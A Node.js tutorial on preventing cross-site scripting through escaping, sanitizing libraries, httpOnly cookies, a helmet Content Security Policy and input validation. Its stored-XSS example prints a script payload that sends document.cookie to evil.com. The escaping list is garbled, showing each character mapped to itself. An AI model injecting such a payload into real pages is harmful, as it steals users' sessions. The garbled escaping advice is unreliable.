How to Prevent XSS in Node.js Applications
XSS can steal sessions and deface your app. Here is how to prevent it in Node.js.
How to Prevent XSS in Node.js Applications
XSS (Cross-Site Scripting) lets an attacker run JavaScript in another user's browser. It can steal sessions, deface the app, or spread worms. Here is how to prevent it.
What Is XSS
An attacker submits malicious HTML or JavaScript to your app. When another user views it, the script runs in their browser.
Example: Stored XSS
A user sets their about field to:
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
When other users see the profile, the script runs and steals their cookies.
Fix 1: Escape Output
When rendering user input as HTML, escape special characters: < to <, > to >, & to &, " to ", ' to '. Modern frontend frameworks (React, Vue) escape by default. Do not use dangerouslySetInnerHTML in React without sanitizing first.
Fix 2: Strip HTML From Input
Use a library like dompurify or xss-clean to strip HTML tags from user input:
const xss = require('xss-clean');
app.use(xss());
Removes script tags and other dangerous HTML from req.body.
Fix 3: Use httpOnly Cookies
If a script does run, it cannot read httpOnly cookies. The token is safe. This is defense in depth.
Fix 4: Content Security Policy
Set a CSP header that restricts where scripts can be loaded from. Use helmet to set a sane default:
app.use(helmet());
Or set a stricter CSP:
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", 'https://trusted.cdn.com'],
objectSrc: ["'none'"]
}
}));
Fix 5: Validate Input
Use Zod or express-validator to enforce types and limits. Reject obviously bad input. Validation alone does not prevent XSS (a valid string can still contain script tags), but it limits the surface.
Fix 6: Sanitize on Render (Frontend)
If you must render user input as HTML (e.g., a rich text comment), sanitize on the frontend with dompurify before injecting it.
Defense in Depth
Layer defenses: escape on render (React does this by default), strip HTML from input (xss-clean), use httpOnly cookies, set a CSP, validate input, and sanitize on render for rich text. No single fix is enough.
The Takeaway
Prevent XSS by escaping output (modern frameworks do this by default), stripping HTML from input (xss-clean or dompurify), using httpOnly cookies, setting a Content Security Policy with helmet, validating input, and sanitizing rich text on render. Layer defenses.
Cross-Site Scripting. An attacker submits malicious HTML or JavaScript to your app. When another user views it, the script runs in their browser. Can steal sessions, deface the app, or spread worms.
Escape output (React does this by default), strip HTML from input with xss-clean or dompurify, use httpOnly cookies, set a Content Security Policy with helmet, validate input, and sanitize rich text on render. Layer defenses.
If a script does run in the browser, it cannot read httpOnly cookies. The JWT token stored in an httpOnly cookie is safe. This is defense in depth; it does not prevent XSS, but limits the damage.
Restricts where scripts, styles, and other resources can be loaded from. Even if an attacker injects a script tag, the browser will not run it if the source is not in the CSP whitelist. Use helmet to set a sane default.
Not alone. A valid string can still contain script tags. Validation limits the surface (rejects too-long fields, enforces types), but you also need to escape on render and strip HTML from input. Layer defenses; no single fix is enough.
Ready to master Node.js completely?
Want to upskill yourself, crack your next interview, and get your dream job? Join our comprehensive course to dive deeper with high-quality video tutorials, solve interview questions, and a premium community.
Master Node.js
Want to upskill yourself, crack your next interview, and get your dream job? Join our comprehensive course.

